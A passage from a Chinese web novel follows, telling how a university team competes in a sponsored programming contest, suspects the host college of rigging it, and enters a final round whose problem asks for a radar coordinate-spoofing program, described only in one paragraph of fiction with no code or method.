这破比赛,竟然是展雪她爸赞助的? 他打量了一下台上那位姚总——说话慢条斯理,逻辑清楚。职务是总经理,那应该是来胜平手下的高级马仔。 姚总讲完,笑眯眯地点点头,退到一边。 刘院长重新回到话筒前。 “下面,我来介绍一下本次竞赛的规则。” 比赛一共三个环节——基础编程、知识竞答、现场调试。三个环节下来,总分两百分。 刘院长说到这里,顿了一下,喝了口水。 “但是——”他把茶杯放下,目光扫了一圈台下,“本次竞赛的最终名次,不完全由积分决定。” 台下有人交头接耳起来。 “比赛设置了一个特殊环节,叫做‘爆冲’。”刘院长的语气不紧不慢,“最后一个环节结束后,总分排名前三的队伍,可以选择参不参加。如果参加并且成功——直接翻盘,跃升到第一名。” 会场里安静了一瞬。 “同时,远星集团还为爆冲环节设置了一个特别奖——” 姚总笑眯眯地再次走上台,手里多了一个礼盒。红丝带扎着,像模像样。他把礼盒放在讲台上,解开丝带,掀开盒盖。 里面是一台笔记本电脑。 “IBM ThinkPad 770。”姚总的声音不大。 台下炸开了锅。 “六万!我在杂志上看到过,六万多!” “我靠,这都能买一套房子了吧?” 台上的姚总笑眯眯地看着下面的反应,胖脸上每一道褶子都写着满意。 要的就是这个效果。 远星集团在宁海的实力,通过这个新闻在电视台和报纸上一放,信号就传递出去了。 议论声持续了好一阵才渐渐平息。 前排有人举起手来。一个穿着航空学院红色T恤的男生站起来。 “刘老师,我想问一下——爆冲奖是团队奖还是个人奖?” 所有人的目光都集中在刘院长身上。 刘院长笑了笑,拿起麦克风说:“积分属于团队,但奖品是个人奖。” 安静了半秒。 随即整个会场再次炸开了锅。 六万块的笔记本电脑,归一个人。 这个信息,比刚才那台机器本身,还要刺激。 第196章 两轮落后 韩学涛瞥了一眼那台IBM,心里微微一动。 他跟水警区合作处理测绘数据,有时候跑野外没带笔记本,只能把数据带回来再处理,发现问题又得跑回去补测。一来一回少说两三天,折腾狠了一个星期就这么没了。 要是有台笔记本,当场采集、当场处理、当场校验——效率翻倍都不止。 他不是没想过买。这年头笔记本虽然贵,但他还消费得起。问题是,他还顶着“特困生”的名头。手机在人多的地方都不太方便掏出来,更别提笔记本了。 特困生用笔记本,传出去别人肯定会盯着给他批资格的卢主任。更何况卢主任已经明确说过要收他当研究生。这时候授人以柄,太蠢。就算自己不在乎,也不能给卢主任添麻烦。 可要是从比赛上赢回来的呢? 众目睽睽,光明正大。谁都说不出半个不字。 当然,能不能走到那一步还两说。 前三轮过后,要是宁海大学排第一,他总不能爆冲自己吧;跌出前三,连挑战别人的机会都没有。就算进了爆冲环节,也不一定能拿下——拿六七万的东西当奖品,题目的难度可想而知。 韩学涛收回目光,靠在椅背上。顺其自然吧。 第一轮比赛开始。 基础编程环节。现场抽题,语言不限,满分一百分,限时九十分钟,三道上机题。宁海大学派出了蚊子和潘潘。 抽题结果出来,蚊子皱了皱眉——运气太背了。 三道题:一道动态规划,一道图论的最短路径优化,一道字符串匹配。前两道难度都不低,第三道相对简单但代码量大,很耗时间。 韩学涛远远扫了一眼,心里大致有数:这套题难度偏高,但不是做不出来,主要看临场发挥。 蚊子先做动态规划。他盯着屏幕看了三四分钟,然后开始敲代码。不到二十分钟提交了第一版。跑了一下——有个边界条件没处理好。他没有从头排查,直接定位到出错的循环,改了两行重新提交。过了。 接着做图论。这道题牵涉负权边的最短路径,不能用常规的Dijkstra,得用SPFA或Bellman-Ford。蚊子选了SPFA,实现起来省事,但对数据结构熟练度要求更高。 他写了一会儿,停下来想了想,删掉几行重写。提交第一版。结果不对。 他盯着输出看了半分钟,回到代码里一行一行地过。五六分钟后找到了问题:一个变量在循环里没有重置。改完,重新提交。过了。 第三道,字符串匹配。蚊子看了一眼时间——还剩不到二十五分钟。题面长,代码量大,但算法本身不复杂。他开始写,速度明显加快。写到一半,时间提示音响了:最后五分钟。他继续加快。代码写到三分之二,考试结束铃声响起。没有提交。 蚊子没答完题,潘潘那边更惨。 前两道题都是排序和搜索的变种,不算太难。但他第一道题在输入格式上就卡了快二十分钟。等他理清楚,时间已经过去大半。 第一道勉强过了。第二道写了一半发现思路有问题,推倒重来——没来得及。第三道连看都没看,时间就到了。 成绩出来得很快。蚊子:两道完成,一道超时,六十七分。 潘潘:一道完成,一道错误,一道超时,三十二分。两人加起来九十九分。 第一轮总分排名:宁海大学,第三。 第一名宁海工学院,一百四十三分。第二名航空航天学院,一百二十一分。 蚊子从机位上站起来,没看任何人,低着头走回座位。潘潘跟在他后面,步子比平时慢了许多。就在刚才,两人还在杨蕾面前信誓旦旦地说过“当仁不让”。现在成绩单摆在面前,两个人全蔫了。 杨蕾看着他们说:“调整一下,别把情绪带到第三轮。” 蚊子和潘潘点了点头,沮丧得一句话都说不出来。 接着,杨蕾的目光在韩学涛和欧阳之间转了一下,停在欧阳身上:“欧阳,你跟我上第二轮。” 欧阳愣了一下,随即点头,站起来活动了一下手腕。 两人上台,韩学涛起身走到蚊子和潘潘旁边,一手搭一个肩膀:“行了,别闷着了。你们发挥得不错。抽到那种题,换谁上去都未必比你俩好。” 蚊子推了推眼镜,声音有点发紧:“那道字符串匹配,如果再多给我五分钟——” “如果工学院抽到这套题,他们可能连两道都做不完。”韩学涛接过去说,“你今天在九十分钟内完成了两道半,最后那道题已经写了三分之二。这种速度,全场没几个人能做到。” 蚊子感激地看着他。 韩学涛又转头看向潘潘:“你那道排序题,输入格式卡了二十分钟。下次先读完题再动手,能省不少时间。后面还有两轮,反超的机会还很大。要说放弃,现在还太早了。” 蚊子和潘潘同时抬起头,看他的眼神里多了一点东西。 第二轮是计算机知识竞答。分为必答和抢答两个环节。必答题每人一题,选手抽签决定顺序。抢答题全场一起抢,答对加分,答错扣分。 杨蕾抽到的是第一组的第一道必答题。 “世界上第一台通用电子计算机的名字是什么?哪一年诞生?” “ENIAC。1946年。”杨蕾的声音像刀切豆腐,但每个字都咬得很清楚。 裁判点头,加十分。 接下来的几道必答题,杨蕾一道都没错——从计算机体系结构到操作系统发展史,从编程语言的演变到网络协议的基础概念,问什么答什么,没有犹豫,没有卡顿。 韩学涛坐在台下,听着那些题目在耳朵里进进出出,发现杨蕾这心机妞不愧是宁海大学学习部副部长,知识点是真熟啊! 幸亏杨蕾没选自己上去,有些题目是真冷门。 比如,问图灵有严重的花粉过敏症,二战期间他经常佩戴什么特殊装备,骑行前往布莱切利庄园上班。 答案是防毒面具。 韩学涛真不知道! 必答题环节结束,杨蕾个人得分排名全场第一,五道题全对,满分。 而抢答题环节一开始,杨蕾更是判若两人——梨涡不见了,眼神凌厉,反应快得吓人。 屏幕上弹出一道题:“Unix操作系统的创始人是谁?” 铃响不到零点几秒,杨蕾的手已经拍了下去:“Ken Thompson和Dennis Ritchie。” 加十分。 再下一道:“下列哪个排序算法在最坏情况下的时间复杂度最低?A.冒泡排序 B.快速排序 C.堆排序 D.插入排序。” 工学院的一个男生和她同时拍响了抢答器,工学院略快零点几秒。“堆排序。”工学院的男生答对了,加十分。 杨蕾侧头看了那个男生一眼,目光像猎人盯上了猎物。 抢到第十五道题时,宁海大学和工学院的积分已经咬死了。杨蕾一个人,对战工学院两个人,不落下风。台下蚊子和潘潘仰头看她,目光灼灼,比看IBM笔记本时还亮。 眼看宁海大学差两分就要反超航天大学时,欧阳出了状况。 一道“数据库事务的ACID特性”,他抢到了,但答漏了一个。扣十分。他的脸色十分难看。 下一道他又抢,又错,又扣分。杨蕾侧头看了他一眼,没说话。欧阳的手开始抖了。 接下来的几道题他没再抢。杨蕾一个人继续和工学院那个男生对攻,但少了一个队友的火力支援,工学院两个人的配合优势渐渐显现出来——一个主抢,一个补答,分工明确,节奏稳定。杨蕾虽然一直领先,但始终没能把分数拉开。 最后一道抢答题结束——宁海大学第二轮总分第一,但前两轮累计总分依然排在第三。第二名是航天大学,只差十分,一个抢答题的距离。 杨蕾从台上走下来,表情平静。她走到欧阳身边,低声说了一句话。欧阳低着头,肩膀塌了下去。 第197章 你没觉得不对劲嘛? 两轮比拼过后,今天的赛程总算告一段落。 主持人宣布剩下的环节和颁奖仪式明天早上继续,话音刚落,会场里就“哗——”地响起一片挪椅子的声音。 在密闭的房间里坐了一下午,大家都憋坏了,三三两两站起来,伸懒腰、打哈欠,收拾东西、互相招呼着往门口走。 韩学涛一行人走出教学楼时,外面的雨已经停了,空气湿漉漉的,带着泥土和树叶的味道。 五个人去食堂,找了张空桌坐下,点了菜,摆上—— 谁也没动筷子。 气氛沉闷。 杨蕾扫了一圈:“干嘛呢?比赛还没完,一个个跟上刑场似的。” 见没人吭声,她又说,“第三轮团队战,每个人都要上。我要四个勇士,不要四个蔫茄子。谁要泄气,今晚泄完,明天早上都给我打起精神。” 欧阳抬头看了她一眼,嘴唇动了动,又低下去了。 韩学涛伸手拿起筷子,夹了一块红烧肉,不紧不慢地嚼着:“该吃吃。吃饱了,才有劲。”他环顾了一圈桌上的人,“各位,今天只是开胃菜。明天肯定比今天还刺激。” 听到这话,杨蕾立刻抬起头,很敏感地问:“怎么说?” 韩学涛笑了笑,没答话,端起碗就吃。杨蕾看了他两秒,没再追问,也拿起筷子,夹了一筷子青菜。“吃吧。”她说。 吃完饭回到招待所,韩学涛和蚊子一个房间。两个人躺在床上,有一搭没一搭地聊编程。 韩学涛发现蚊子思路相当灵活,能发散,能举一反三,只是没像自己那样看过那么多国外的算法教程,有些前沿的东西还没摸到——思路到了那个坎上,就过不去了。 他随口提了几种方法,没讲太细,只说了核心思路。蚊子听完,从床上弹起来,摸到眼镜戴上,转头看他:“你怎么知道这么多?” 韩学涛笑了笑:“多看了几本书而已。” 蚊子没再问了,但接下来聊天的时候,他语气明显变了,带着一种认真的、讨教的口吻。 两人正聊得起劲,门口忽然响起敲门声,紧接着传来杨蕾的声音:“韩哥,我找你问点事。” 韩学涛瞥见蚊子脸上的神情有些不太自然,忍不住笑了笑,起身去开门,站在门口说道:“外面下雨了,我就不出去了。你要是不嫌弃,进来聊吧。” 杨蕾愣了下,随即笑着往里走:“有臭袜子的赶紧收一收啊。” 她已经换了身衣服,头发也放了下来,原本整齐的蘑菇头被压得微微翘起,多了几分随意的居家感。手里拎着个小塑料袋,里面装着两盒牛奶。她拿出来,给韩学涛和蚊子一人递了一盒:“给你们带的。” 韩学涛接过牛奶,顺手撕开吸管插进去,抬眼一看,见蚊子还把牛奶攥在手里,像舍不得喝似的,不由打趣道:“蚊子,别留着了,这么热的天,放一晚上就坏了。” 杨蕾一下没忍住,捂着嘴笑了出来。 蚊子的脸“腾”地一下红了,连忙把吸管插进去,低下头猛吸一口,装出一副若无其事的样子。 杨蕾在床对面的椅子上坐下,收了笑,看向韩学涛:“韩哥,你刚才在食堂说,明天肯定比今天还刺激。到底什么意思?” 韩学涛喝着牛奶,不紧不慢地开口:“你没觉得不正常吗?” “什么意思?”杨蕾眉头动了一下。 “第一轮,我们抽到的题比工学院、航天学院难得多,三道高难度题全被蚊子一个人抽中了,仅仅是因为点背么?”韩学涛说,“还有潘潘,他在输入格式上就卡了二十分钟——能被选来参赛,按理说他平时的水平不至于犯这种错。” 杨蕾脸上的梨涡彻底没了。 而韩学涛继续说:“还有第二轮,你跟工学院对攻,受影响最大的是航天学院。我留意了一下抢答器——航天学院那个选手反应不慢,但抢答器明显比你们慢半拍。跟你抢的时候,他基本没赢过。而工学院那个男生的抢答器,又比你的快。” 说到这,他停下来不说了,接着把吸管含进嘴里,看着杨蕾。 杨蕾眼睛盯着地面,慢慢开口:“而且有些题,工学院明明可以抢,但他们没抢。我当时没心思往这方面想,现在你这么一说……确实有破绽。那个男生抢到题之后,第一反应不是答题,是往台下看。还有工学院的带队老师,每次抢答结束都在交头接耳。” 她咬着嘴唇,抬起头:“组委会在故意针对我们?” 韩学涛没说话。 杨蕾靠回椅背,手指在下巴上敲了两下。 “工学院想拿第一,我们是最大的对手。第一轮先拿我们开刀。”她顿了一下,“第一轮打完,分数上能威胁他们的变成了航天学院。所以第二轮他们改打航天学院。” “而且不能让比赛太早没悬念。电视台和报社都在,场面太难看也不行。所以第二轮,表面上是我们跟工学院打得火热,比分你来我往。实际上,咱们和航天学院的分数咬得死死的——悬念拉满了,航天学院被死死按在第二!” 蚊子在一旁听得一愣一愣的。 杨蕾气得胸口一起一伏,咬着牙:“工学院这么玩?那我宁愿自己不拿冠军,也不让他们赢。我现在就去找航天学院领队——” “用不着。”韩学涛说。 杨蕾一愣,随即反应过来:“你是说……爆冲?” 她摇了摇头,“那个奖,就是个噱头吧?几万块的电脑,谁能真拿走?” 韩学涛把牛奶方下,说:“冲肯定要冲。假设明天二、三名还是咱们和航天学院,那就算咱们不冲,航天学院也一定会冲——有机会登顶,还能拿赚IBM的笔记本,何乐而不为?而如果人家冲了,咱们不冲,那就太窝囊了。” 杨蕾说:“那就冲!” 她说完,房间里安静了一瞬。 蚊子缩了缩脖子:“爆冲?那个……现场那么多人,还有电视台……我没信心。”他看了韩学涛一眼,声音更小了,“我觉得……只有韩哥你能行。” 韩学涛笑了笑,没接话,拿起牛奶喝了一口。 第198章 宁海大学,竟然这么卑鄙 第二天早上放晴。 比赛会场门窗大开,气氛却比昨天更紧张。 选手们到得很早,没人闲聊。有人低头翻笔记,有人盯着屏幕发呆。工学院坐在最前排,领队老师站在过道里,低声给几个选手交代事情。航天学院在另一边,人人表情严肃,桌上摊着几本厚厚的技术手册。 杨蕾坐下来,往工学院方向扫一眼,什么也没说。 刘院长走上台,调好话筒,宣布第三轮规则。 “第三轮,现场调试。规则如下——每个代表队派一名代表抽题。每个题目是一段有错误的程序,限时二十分钟。抽到题目后,可以选择自己调试,也可以选择让给其他代表队。同一队伍不能连续被让。自己调试成功,加十分。让给其他队——对方调试成功,对方加十分,自己扣五分。对方调试失败,对方扣五分。” 规则念完,会场安静一瞬。 随即,嗡嗡议论声像潮水般涌起。 杨蕾目光立刻转向韩学涛。她没开口,但那眼神已说明一切——这个规则,一定是工学院想出来要控分。她小脸一沉,胸火压了又压,总算没发出来。 “听我说。”杨蕾把几个人拢过来,咬牙低声道,“韩哥、蚊子、潘潘——你们三个主抓调试。”她顿一顿,目光落向欧阳,“欧阳,你的任务是——挑衅。” 欧阳一愣:“挑……挑衅?” “我让你挑衅谁,你就挑衅谁。”杨蕾一字一顿,“把局势搅乱。” 欧阳张张嘴,对上杨蕾眼神,把到嘴边的话咽回去,重重一点头。 杨蕾转向韩学涛:“韩哥,现场有什么情况,你盯着,提醒我。” 韩学涛比个“OK”手势。这心机妞憋了一晚上,看来要搞事情了。 比赛开始。 第一轮抽题。宁海大学抽到一道数组越界程序,难度不算大。 蚊子扫一遍代码,改两个循环边界,重新编译——通过。加十分。 其他学校也基本顺利过关。工学院抽到一道指针题目,选手花不到十分钟就搞定。航天学院没出什么岔子。第一轮波澜不惊,没人选择让题。 第二轮。抽题箱再次端上来。这次程序难度明显上一个台阶——宁海大学抽到内存泄漏问题,比第一轮复杂不少。但蚊子和潘潘一起,花几分钟就定位到问题所在,顺利解决,再加十分。 杨蕾目光始终没离开其他学校的动向。 排在第四名的师范大学代表队抽到题目,选手看一眼,脸色当场就变了。 杨蕾朝欧阳使个眼色。 欧阳清清嗓子,身子往师范大学方向一侧:“哎,我说——你们师大现在排第四,就算答出来也没什么意义吧?” 师范大学的人齐刷刷转过头。 欧阳语气贱兮兮的:“不如把题目甩出去。你们师大的技术水平,稍微差那么一点点,策略还这么中规中矩,今天基本没戏。” 师范大学那个领队选手——一个戴眼镜的高个子男生——脸一下就黑了。旁边一个短头发女生更是直接瞪过来:“你说什么?” 欧阳翻个白眼:“我说什么?说实话而已。你们自己掂量吧。” 师范大学的人没有让题。高个子男生坐到机器前开始调试。时间一分一秒走,他改三次,编译三次,全都没过。调试失败。 欧阳又开口了,这次语气更欠揍:“你看看,我说什么来着?” 师范大学那个短头发女生猛地站起来,脸涨得通红,瞪着欧阳:“你——我们师大抽题,关你们宁海大学屁事!” 杨蕾赶紧起身,朝女生摆摆手,笑容满面,声音又软又甜:“对不起对不起,我们这位同学说话不太好听,我替他道歉。别往心里去啊,比赛要紧。” 她转过身,朝欧阳竖个大拇指。干得漂亮。 又过一轮。 大屏幕上,航天学院的队名亮起来。轮到他们抽题。题目在屏幕弹出,航天学院选手脸色微微一变——难度不低。 欧阳立刻冲他们方向说:“航院,我给你们个建议。你们不能让。我们和工学院的技术都比你们强,你们让别人拿分,不如自己攒着。让错一道,你们的分就往下掉,多不划算。” 他的语气像在哄幼儿园小朋友。航天大学几个选手脸一下就黑了,愤怒地盯着欧阳:“你有病吧。” 欧阳一脸无赖相:“我好心提醒你们,怎么还不领情?” 没人理他。但那个领队的后脑勺都写着烦躁。 下一轮,工学院。 欧阳声音又飘过去:“工院,你们前面赢得挺侥幸。这轮不如让分吧。把题甩给航天学院,把他们打下去,你们就稳了。反正你们是东道主,赢多点赢少点,有什么区别?” 工学院那边几个人肩膀同时绷紧。领队是个高个子男生,攥鼠标的手顿一下,脖子青筋都浮起来了。他是东道主,摄像头在拍,记者在记。他只能忍着。 欧阳看他们没反应,音量提高半度:“不领情啊?行吧,你们自己扛着。” 他的目光扫向另一边——农学院,排在倒数第二,几个男生已经瘫在椅子上,题目对他们来说实在太难了。 “农院的兄弟,你们还绷着干嘛?反正也拿不到名次,不如把水搅浑。谁在前面你们就咬谁,说不定还能当个冠军裁判。多有面子。”他一脸真诚,让人直犯恶心。 农学院几个人互相看看,嘴角狂抽。 欧阳又转向卫校那边。几个女生穿粉色T恤挤在一起,本来就紧张得不行。欧阳一开口,她们身子同时一僵。 “卫校的师妹,你们还傻乎乎地自己做什么?你们那点技术水平,自己心里没数吗?电脑都找男生修,你们还调程序?看到哪里有帅哥,就往哪里招呼呗!” 卫校那个领队女生脸涨得通红:“你——你这人怎么这样!” 欧阳说:“我帮你出主意呢。不听算了。” 比赛继续。 欧阳此时已引起众怒。新一轮抽题,农学院甚至没怎么看题目,直接摔给宁海大学。 生意来了。杨蕾心里一喜。 “蚊子,上。” 屏幕上一道字符串处理题,bug藏得很深。蚊子盯着代码看两分钟,手指开始敲键盘。韩学涛坐他旁边,没说话,只在他卡住时伸手指了指某个循环的条件判断。蚊子愣了一下,随即修改,编译通过。加十分。 隔一轮,卫校抽题。几个女生咬嘴唇商量几秒,然后点让出——又是宁海大学。 一道数组越界题,不算难,但潘潘被一个边界条件卡了五分钟。韩学涛凑过去看一眼,说一句“从零开始”。潘潘恍然大悟,改循环起始值,通过。再加十分。 师范学院也开始往这边甩。他们谁都不让,专往宁海大学身上招呼。 一道接一道。蚊子刚坐下,潘潘站起来;潘潘刚调试完,蚊子又坐下。两个人忙得连口水都顾不上喝,键盘声噼里啪啦响成一片。 韩学涛稳稳坐在中间,时不时伸手指一下屏幕,或者说出一个函数名。蚊子和潘潘顺着他的话头往下走,卡住的地方总能解开。 不能连续被让,这是规则。但隔一轮来一道,节奏刚好。 宁海大学的分数开始往上飙。 大屏幕上那个数字每跳一次,整个会场气氛就紧一分。工学院领队盯着屏幕,表情从最初从容变成凝重,又从凝重变成一种说不清道不明的烦躁。 距离工学院,只差十分。 工学院那边终于有人回过味来。领队猛地转过头,看向宁海大学,看向欧阳—— 原来如此。 宁海大学打的是这个算盘。 他们要追分,唯一的办法就是让其他队都把题目让给他们。为达到这个目的,竟派一个队员像疯狗一样到处乱咬。 宁海大学,怎么说也是全国排名前五的重点大学——竟然这么卑鄙! 第199章 工学院的策略 还剩最后一轮。 大屏幕上,宁海大学,差工学院十分。而眼前这道调试题,正好十分。谁拿到,谁就是冠军。 会场里所有人都在盯着屏幕。谁都清楚,这一轮定生死。 空气紧绷。 那些被欧阳“骗”过题的学校——农学院、卫校、师范学院、林业大学——此刻看向宁海大学的眼神,像一把把小刀,恨不得把欧阳那张得意的脸剜出几个洞。 欧阳浑然不觉。他靠在椅背上,翘着二郎腿,甚至还朝卫校那边笑了一下。 卫校那个女生直接把脸别过去,懒得理他。 韩学涛扫了欧阳一眼,脑子里忽然蹦出星爷电影里的断水流大师兄——坐在台上,面带微笑,对所有人说:我不是针对谁,而是在座的各位都是垃圾。 一模一样。 航天学院那边,气氛完全不同。 领队是个瘦高个,戴黑框眼镜,眉头拧成一个“川”字。旁边的队友凑过来低声说着什么,说几句,停一下,再说几句。 他们排在第三。就算最后一轮自己调试成功,加十分,也追不上前两名。争第一,没戏了。 但现在有一个可能——这道题,可以让出去。让出去,就能决定冠军归谁。 可让给谁? 让给宁海大学?宁海大学做出来,加十分,反超工学院五分,冠军就是宁海大学的。航天学院不愿意。刚才欧阳那副嘴脸,想起来就恶心。 让给工学院?万一工学院失手做错了,扣五分,宁海大学原地不动,反而直接反超五分。这不是变相害了工学院,帮了宁海大学吗? 怎么选都不对。 领队咬着嘴唇,手指在桌面上敲了又敲,迟迟做不了决定。 其他学校的选手也看出了航天学院的纠结。所有目光从宁海大学转移到了航天学院身上。 会场里的空气,几乎凝固了。 抽题开始。 大屏幕上,三所学校的名字依次亮起——宁海大学、工学院、航天学院。计算机同时抽题,三道题目分别弹出。 宁海大学这边,蚊子看了一眼题目,松了口气,正要开口—— “我们自己来。”杨蕾替他说了。 蚊子双手搭上键盘,扫了一遍代码,手指开始敲。不到十分钟,编译通过。调试成功。 加十分。 大屏幕分数一跳——宁海大学追平工学院。两校并列第一。 宁海大学没人欢呼,没人松气。杨蕾盯着大屏幕,表情没有任何变化。韩学涛靠在椅背上,目光移向航天学院。 航天学院那边,领队盯着自己抽到的题目看了半分钟,猛地松了一口气。 他转回头朝队友点了点头,然后抬起头看向工学院的方向,嘴角带着藏不住的得意。 “这道题——我们让给工学院。” 声音不大。但在安静的会场里,每个人都听见了。 低低的议论声响起,紧接着有人鼓掌。农学院带头,卫校几个女生跟着拍了几下手,师范学院的几个男生甚至喊了一嗓子“好!” 所有人都看明白了——航天学院这道题难度不大,自己能做出来,但他们偏不。他们要帮工学院拿这十分,把宁海大学压下去。 那些被欧阳气了一整场的学校,此刻终于找到了宣泄的出口。鼓掌声,叫好声,还有人吹了声口哨。 宁海大学这边,几个人脸色都不好看。欧阳的腿放了下来,不翘二郎腿了。 杨蕾没有说话。嘴唇抿成一条线。 韩学涛表情没什么变化。他看了杨蕾一眼,杨蕾也正看着他。两人对视了一瞬,没有说话。 工学院那边,领队接过航天学院让来的题目,看了一眼。 他没有立刻动手。 他先回头,朝坐在后排的带队老师示意。带队老师微微点了一下头,幅度小到几乎看不出来。 然后他才转过身,双手搭上键盘。 一分钟。两分钟。三分钟。 他敲得很慢。不像是不会,不像是卡住了——更像是,在磨时间。每敲几行就停下来盯着屏幕看一会儿,然后又敲几行,键盘声断断续续。 十分钟过去,屏幕上只有二十来行代码,逻辑还缺了一大块。 旁边的队友凑过来看了一眼,嘴唇动了动,似乎想说什么。领队的手肘轻轻碰了他一下。队友便闭上了嘴,缩了回去。 十五分钟。十八分钟。 他不再敲了。双手放在键盘两侧,盯着屏幕。光标在最后一行一闪一闪地跳,手一动不动。 二十分钟到。 计时器归零。屏幕上的状态栏从“调试中”跳成了“失败”。 会场里安静了整整两秒。然后一片哗然。 航天学院的领队猛地站了起来,盯着工学院的方向。脸上的表情从得意变成震惊,又从震惊变成难以置信。 “怎么可能?那道题——那道题我们都能调出来!你们怎么可能做不出来?” 没人回答他。 大屏幕上的分数再次跳动。 工学院扣五分。宁海大学原地不动。 宁海大学,第一。单独的第一。 杨蕾深吸一口气,慢慢呼出来。她没有笑,没有庆祝。只是靠在椅背上,闭了一下眼睛。 韩学涛的目光落在工学院那边,眼睛微微眯起。 那道题难度不大。航天学院能调出来,工学院没理由调不出来。 除非——他们不想调出来。 而此时,结果揭晓。会场里的哗然声,比刚才更大了。 农学院的几个男生张着嘴,半天没能合拢。 师范学院的领队皱着眉头,扭头跟旁边的人低声说了句什么。那个人摇了摇头,一脸不解。 卫校的几个女生凑在一起,小声嘀咕着,眼睛却不停地往工学院那边瞟。 所有人的目光,都在工学院和宁海大学之间,来回跳。 ——如果说,是工学院自己抽到最后那道题没做出来,大家可能还不会这么怀疑。毕竟,谁也不知道那道题到底难不难。 可问题是,那道题,是航天学院让过去的。 难度,明摆着的。 航天学院自己能做出来,工学院做不出来?谁信。 而且那道题要是真难,航天学院会让给工院?他们巴不得把难题甩给宁海大学,看贱人翻车。 到了这会儿,只要脑子不瞎,心里都有了一个猜测:工学院是故意的。 可他们——到底为什么要这么做? 宁海大学这边,韩学涛扯了扯嘴角:“看来过了一晚上,工学院膨胀了。这是准备爆冲,想连积分带电脑一锅端。” 欧阳愣了一下,随即反应过来:“他们故意放我们上来,然后自己爆冲?” 潘潘皱起眉:“他们对自己这么有信心?” 蚊子张了张嘴,想说点什么,又闭上了。 他想起了昨天晚上在招待所房间里,韩学涛和杨蕾你一句我一句地分析。当时他还觉得——是不是想多了? 现在事实就摆在眼前,什么都不用说了。 可他心里堵得慌。 跟韩学涛、杨蕾一样的年纪,怎么在这两个人面前,就感觉自己这么天真呢? “韩哥,怎么办?”杨蕾小脸阴沉,声音里压着不甘。 输赢都无所谓。 关键是——她感觉自己被耍了。 工学院昨天明明还摆出一副要拿第一的架势,她拼了命追上来,他们倒好,直接改策略了?想把积分和电脑全吞了? 欺人太甚! 韩学涛目光平静:“对方不要脸,我们也只能奉陪。他们把我们拱上来想冲我们——那我们,为什么不能自己冲自己?” 杨蕾一愣:“你是说……我们自己冲?” 韩学涛没有回答。 他把目光转向了台上。 主持人走到中央,拿起话筒。 “三轮常规比赛结束——恭喜宁海大学暂时位列第一。” 他顿了一下。 “但是。这还不是最终的结果。” 声音里带着刻意营造的悬念感,会场里安静了下来。那些还在议论的人住了嘴,所有人的注意力,都被拉回到台上。 “比赛开始的时候,刘院长已经介绍过——我们设置了爆冲环节。” “爆冲环节,是勇气的考验,也是实力的证明。” 主持人的语调,一点一点升高。 “一个环节,一道题目,一次机会。答对——直接翻盘,总分跃升至第一名。答错——排名不变,但勇气可嘉。” 他把话筒从架子上取下来,走到台前,声音从话筒里喷薄而出, “人生能有几回搏?不负青春,不负韶华。在场的学子们——你们准备好了吗?”他抬起手,朝向全场。 “你们——有勇气吗?” 话音落下。 会场里安静了一瞬。 工学院那边,领队深吸了一口气,手撑着椅子扶手,准备站起来—— 就在这一刻。 一个声音响了起来。 不紧不慢。 不大不小。 但在安静的会场里,每个字都清清楚楚。 “准备好了。” 所有人的目光,齐刷刷地转向了声音传来的方向—— 宁海大学代表队。 第200章 宁海大学,申请爆冲 大家看到宁海大学率先起身要爆冲,全场骤然一静。 韩学涛站在座位旁,越过人群看向工学院,不紧不慢地开了口:“刘院长说的规矩,前三名都有权利爆冲。我们是第一名,没理由被排除在外。” 工学院那边,几个人脸色一僵。领队本要站起,此刻整个人顿住,手指死死攥住扶手。 就在这瞬间的沉默里,杨蕾站了起来。 她扬起下巴,梨涡一现:“百尺竿头,更进一步。主持人说得好——人生能有几回搏?我们虽是第一名,也不能丢了继续奋斗的勇气。” 她一举拳头:“宁海大学,申请爆冲。” 一番话,说得慷慨激昂。 台侧,电视台的摄像师立刻推过镜头,闪光灯啪啪亮了两下。报社那位记者放下笔记本,抬头看了杨蕾一眼,随即又低下头飞快地记了起来——那架势,恨不得当场冲上来采访。 主持人的笑容僵在脸上。他握着话筒,目光不自觉往组委会飘。会场嗡嗡声四起。 他快步走到台下,凑到刘副院长身边。刘副院长脸色一沉。大约两分钟后,主持人直起身走回台上,清了清嗓子:“宁海大学作为常规赛第一,有权申请爆冲。但此前已说明,爆冲属个人奖项,每队只能派一名选手独立完成,不得协作。” 所有人看向宁海大学。 杨蕾看向韩学涛。 韩学涛淡淡一笑:“我来。” 他走出座位,白T恤的背影穿过一排排桌椅,在台侧电脑前站定。主持人示意:“请点击抽题按钮。” 他按了一下“抽题”图标。 大屏幕一闪。会场倒吸一口凉气。 题面密密麻麻铺满一屏——“基于实时坐标偏移的船舶航线修正系统:设计挂载于雷达应答器上的坐标反馈程序,根据雷达扫描参数和实时坐标,动态计算虚假坐标,使雷达显示的航线始终在预设公海航道内。需实现三角函数实时计算、坐标转换、硬件接口模拟及异常信号自检。30分钟内完成核心算法编写及调试,坐标跳变或信号闪烁即失败。” 台下嗡的一声炸开了锅。 “这题目……得要多少代码?三十分钟?光是敲键盘都敲不完吧!” “还要实时三角函数计算?这得用浮点运算,精度稍微差一点就完蛋。” “坐标系转换那一步最容易出bug,一个符号错了,整个偏移量全歪。” “这不光要写出来,还要跑通。三十分钟——神仙来了都不行吧?” 宁海大学那边,几人脸色全白了。 欧阳张着嘴,潘潘额上渗汗:“这……这谁能做?” 蚊子在桌下攥紧拳头——他做不到,甚至不知从哪行写起。 杨蕾猛地看向工学院。领队低着头,嘴角挂着一丝笑意,队友搭着他肩膀交换了一个眼神。杨蕾咬紧牙:绝对是故意的。 这道题根本就不是给大学生准备的。别说大一大二,就是大三大四的研究生来了,给他们三天时间也未必写得完。 好。 她倒要看看,工学院自己抽到的会是什么题。 台上,韩学涛盯着屏幕,一动没动。 他的表情没有任何变化,但脑子里已经飞速转了起来。 平移坐标反馈? 这不就是自己给水警区做的那套系统的其中一个算法功能么?还是简化版。 他在水警区干了两个月,核心工作就是帮他们定位——GPS信号被人为加入随机偏移量,定位精度大幅下降。他做的算法,就是实时测算出那个偏移量,然后反向修正,让军舰和潜艇获得真实的、精确的定位。 那套系统里,核心就是坐标转换和动态偏移量计算。 现在这道题,要求是伪装——把真实的坐标偏移到另一个位置,让雷达屏幕上显示的是假航线。 原理一模一样。 只不过一个是为了更准,一个是为了骗人。 而且这道题的要求,比他给海军做的那个要简单多了。 韩学涛的嘴角微微动了一下。 他的手指搭上了键盘。 这一刻,整个会场都安静了。 不是那种刻意保持的安静,而是一种被什么东西压住的、屏住呼吸的安静。 